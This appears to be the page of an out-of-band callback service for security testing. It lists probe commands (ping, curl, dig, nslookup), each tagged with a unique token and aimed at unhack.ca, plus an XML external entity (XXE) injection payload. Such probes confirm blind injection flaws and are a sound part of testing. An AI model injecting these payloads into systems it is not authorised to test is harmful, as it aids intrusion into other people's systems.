$ ping -c1 -p 0014a94466688f453f629211f05c3600 unhack.ca
 
$ curl http://unhack.ca/p/14a94466688f453f629211f05c36
 
$ dig 14a94466688f453f629211f05c36 @unhack.ca
 
$ dig 14a94466688f453f629211f05c36.ns.unhack.ca
 
C:\> nslookup 14a94466688f453f629211f05c36 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/14a94466688f453f629211f05c36">]>
    <foo>&xxe;</foo>
 
Waiting for ping...